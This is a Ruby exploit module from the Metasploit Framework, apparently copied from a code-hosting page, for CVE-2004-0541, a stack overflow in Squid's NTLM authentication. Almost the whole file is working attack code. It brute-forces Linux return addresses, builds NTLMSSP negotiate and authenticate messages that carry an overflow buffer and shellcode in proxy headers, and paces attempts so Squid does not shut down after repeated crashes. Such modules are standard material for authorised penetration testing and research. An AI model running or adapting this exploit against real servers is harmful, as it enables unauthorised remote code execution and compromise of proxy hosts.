142 lines
4.1 KiB
Ruby
142 lines
4.1 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Brute
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Squid NTLM Authenticate Overflow',
|
|
'Description' => %q{
|
|
This is an exploit for Squid\'s NTLM authenticate overflow
|
|
(libntlmssp.c). Due to improper bounds checking in
|
|
ntlm_check_auth, it is possible to overflow the 'pass'
|
|
variable on the stack with user controlled data of a user
|
|
defined length. Props to iDEFENSE for the advisory.
|
|
},
|
|
'Author' => 'skape',
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2004-0541'],
|
|
[ 'OSVDB', '6791'],
|
|
[ 'URL', 'http://www.idefense.com/application/poi/display?id=107'],
|
|
[ 'BID', '10500'],
|
|
],
|
|
'Privileged' => false,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 256,
|
|
'MinNops' => 16,
|
|
'Prepend' => "\x31\xc9\xf7\xe1\x8d\x58\x0e\xb0\x30\x41\xcd\x80",
|
|
'PrependEncoder' => "\x83\xec\x7f",
|
|
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Linux Bruteforce',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Bruteforce' =>
|
|
{
|
|
'Start' => { 'Ret' => 0xbfffcfbc, 'Valid' => 0xbfffcf9c },
|
|
'Stop' => { 'Ret' => 0xbffffffc, 'Valid' => 0xbffffffc },
|
|
'Step' => 0
|
|
}
|
|
},
|
|
],
|
|
],
|
|
'DisclosureDate' => 'Jun 8 2004',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_advanced_options(
|
|
[
|
|
# We must wait 15 seconds between each attempt so as to prevent
|
|
# squid from exiting completely after 5 crashes.
|
|
OptInt.new('BruteWait', [ false, "Delay between brute force attempts", 15 ]),
|
|
], self.class)
|
|
end
|
|
|
|
def brute_exploit(addresses)
|
|
site = "http://" + rand_text_alpha(rand(128)) + ".com"
|
|
|
|
print_status("Trying 0x#{"%.8x" % addresses['Ret']}...")
|
|
connect
|
|
|
|
trasnmit_negotiate(site)
|
|
transmit_authenticate(site, addresses)
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
def trasnmit_negotiate(site)
|
|
negotiate =
|
|
"NTLMSSP\x00" + # NTLMSSP identifier
|
|
"\x01\x00\x00\x00" + # NTLMSSP_NEGOTIATE
|
|
"\x07\x00\xb2\x07" + # flags
|
|
"\x01\x00\x09\x00" + # workgroup len/max (1)
|
|
"\x01\x00\x00\x00" + # workgroup offset (1)
|
|
"\x01\x00\x03\x00" + # workstation len/max (1)
|
|
"\x01\x00\x00\x00" # workstation offset (1)
|
|
|
|
print_status("Sending NTLMSSP_NEGOTIATE (#{negotiate.length} bytes)")
|
|
req =
|
|
"GET #{site} HTTP/1.1\r\n" +
|
|
"Proxy-Connection: Keep-Alive\r\n" +
|
|
"Proxy-Authorization: NTLM #{Rex::Text.encode_base64(negotiate)}\r\n" +
|
|
"\r\n"
|
|
sock.put(req)
|
|
|
|
end
|
|
|
|
def transmit_authenticate(site, addresses)
|
|
overflow =
|
|
rand_text_alphanumeric(0x20) +
|
|
[addresses['Ret']].pack('V') +
|
|
[addresses['Valid']].pack('V') +
|
|
"\xff\x00\x00\x00"
|
|
shellcode = payload.encoded
|
|
pass_len = [overflow.length + shellcode.length].pack('v')
|
|
authenticate =
|
|
"NTLMSSP\x00" + # NTLMSSP identifier
|
|
"\x03\x00\x00\x00" + # NTLMSSP_AUTHENTICATE
|
|
pass_len + pass_len + # lanman response len/max
|
|
"\x38\x00\x00\x00" + # lanman response offset (56)
|
|
"\x01\x00\x01\x00" + # nt response len/max (1)
|
|
"\x01\x00\x00\x00" + # nt response offset (1)
|
|
"\x01\x00\x01\x00" + # domain name len/max (1)
|
|
"\x01\x00\x00\x00" + # domain name offset (1)
|
|
"\x01\x00\x01\x00" + # user name (1)
|
|
"\x01\x00\x00\x00" + # user name offset (1)
|
|
"\x00\x00\x00\x00" + # session key
|
|
"\x8b\x00\x00\x00" + # session key
|
|
"\x06\x82\x00\x02" + # flags
|
|
overflow + shellcode
|
|
|
|
print_status("Sending NTLMSSP_AUTHENTICATE (#{authenticate.length} bytes)")
|
|
req =
|
|
"GET #{site} HTTP/1.1\r\n" +
|
|
"Proxy-Connection: Keep-Alive\r\n" +
|
|
"Proxy-Authorization: NTLM #{Rex::Text.encode_base64(authenticate)}\r\n" +
|
|
"\r\n"
|
|
sock.put(req)
|
|
end
|
|
|
|
end
|